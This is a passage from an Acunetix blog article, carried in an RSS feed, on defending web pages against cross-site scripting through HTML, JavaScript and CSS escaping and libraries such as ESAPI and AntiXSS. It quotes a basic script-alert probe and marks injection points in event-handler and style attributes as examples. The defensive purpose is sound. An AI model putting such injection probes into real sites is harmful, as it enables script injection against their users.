<p>The side-effect with these filtering techniques is that legitimate text is often removed because it hits one or more of the forbidden keywords. For example, I would not be able to publish this article if the blogging software I used was filtering out all my HTML tags. I would not be able to write things like <strong>&lt;SCRIPT&gt;</strong> and <strong>alert(&#8216;you have been hacked&#8217;)</strong> as these would be filtered out and you would not see them. If you want to preserve the original data (and it&#8217;s formatting) as best as possible you would need to relax your filters and employ HTML, Script and CSS Escaping techniques, all of which I explain in the next section.</p>
<h2>Escaping from XSS</h2>
<p>This is the primary means to disable an XSS attack. When performing Escaping you are effectively telling the browser that the data you are sending should be treated as data and should not be interpreted in any other way. If an attacker manages to put a script on your page, the victim will not be affected because the browser will not execute the script if it is properly escaped.</p>
<p>Escaping has been used to construct this article. I have managed to bring many scripts into your browser, but none of these scripts has executed! The technique used to do that is called, escaping, or as the W3C calls it “Character Escaping”.</p>
<p>In HTML you can escape dangerous characters by using the &amp;# sequence followed by the it’s character code.</p>
<p>An escaped &lt; character looks like this: &amp;#60. The &gt; character is escaped like this: &amp;#62. Below is a list of common escape codes for HTML:</p>
<p><code><br />
" ---&gt; &amp;#34<br />
# ---&gt; &amp;#35<br />
&amp; ---&gt; &amp;#38<br />
' ---&gt; &amp;#39<br />
( ---&gt; &amp;#40<br />
) ---&gt; &amp;#41<br />
/ ---&gt; &amp;#47<br />
; ---&gt; &amp;#59<br />
&lt; ---&gt; &amp;#60<br />
&gt; ---&gt; &amp;#62<br />
</code></p>
<p>Escaping HTML is fairly easy, however in order to properly protect yourself from all XSS attacks you require to escape JavaScript, Cascading Style Sheets, and sometimes XML data. There are also many pitfalls if you try to do all the escaping by yourself. This is where an Escaping Library comes useful.</p>
<p>The two most popular escaping libraries available are the <strong>ESAPI</strong> provided by OWASP and <strong>AntiXSS</strong> provided for Microsoft. ESAPI can plug into various technologies such as Java, .NET, PHP, Classic ASP, Cold Fusion, Python, and Haskell. AntiXSS exclusively protects Microsoft technologies and is therefore better suited in an all-Microsoft environment. Both libraries are constantly updated to keep up with the latest hacker techniques and are maintained by industry experts who understand changing tactics and emerging technologies such as HTML5.</p>
<h2>When to Escape</h2>
<p>You cannot just simply escape everything, or else your own scripts and HTML markup will not work, rendering your page useless.</p>
<p>There are several places on your web page which you need to ensure are properly escaped. You can use your own escaping functions (not recommended) and you can use the existing ESAPI and AntiXSS libraries.</p>
<p><strong>Use HTML Escaping when&#8230;</strong></p>
<p>Untrusted data is inserted in between HTML opening and closing tags. These are standards tags such as &lt;BODY&gt;, &lt;DIV&gt;, &lt;TABLE&gt; etc&#8230;</p>
<p>For example:</p>
<p><code>&lt;DIV&gt; IF THIS DATA IS UNTRUSTED IT MUST BE HTML ESCAPED &lt;/DIV&gt;</code></p>
<p><strong>Use JavaScript Escaping when&#8230;</strong></p>
<p>Untrusted data is inserted inside one of your scripts, or in a place where JavaScript can be present. This includes certain attributes such as STYLE and all event handlers such as ONMOUSEOVER and ONLOAD</p>
<p>For example:</p>
<p><code>&lt;SCRIPT&gt;alert('IF THIS DATA IS UNTRUSTED IT MUST BE JAVASCRIPT ESCAPED')&lt;/SCRIPT&gt;</code></p>
<p><code> </code></p>
<p><code>&lt;BODY ONLOAD=”IF THIS DATA IS UNTRUSTED IT MUST BE JAVASCRIPT ESCAPED"&gt;</code></p>
<p><strong>Use CSS Escaping when&#8230;</strong></p>
<p>Untrusted data is inserted inside your CSS styles. As you saw in the Attack Vectors examples, many CSS styles can be used to smuggle a script into your page.</p>
<p>For example:</p>
<p><code>&lt;DIV STYLE="background-image: IF THIS DATA IS UNTRUSTED IT MUST BE CSS ESCAPED"&gt;</code></p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/02/XSS_Filter_Escape.png"><img class="aligncenter size-full wp-image-2951" src="http://www.acunetix.com/blog/wp-content/uploads/2011/02/XSS_Filter_Escape.png" alt="" width="534" height="568" /></a>Above is a diagram visually representing the internet boundary and where filtering and escaping must happen to ensure XSS protection.</p>
<h2>XSS Attacks are a moving target</h2>
<p>In this article I attempted to collect as many recommendations and best practices used by security researchers worldwide. This recommendations set out in this article are by no means exhaustive, however they should be a good starting point for your XSS defence endeavours.</p>
<p>Technology is changing, and hacker attacks are getting more sophisticated but by understanding the basics set out in this article you can be prepared to prevent future attack techniques that will most definitely arise.</p>
<p>The first step in defending against XSS attacks is to code your web applications carefully and use the proper escaping mechanisms in the right places. After that comprehensive testing should be performed, ideally using an automated XSS scanner. When updates are made to your web applications, you should scan the affected pages again to ensure that no new vulnerabilities have been exposed.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/preventing-xss-attacks/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

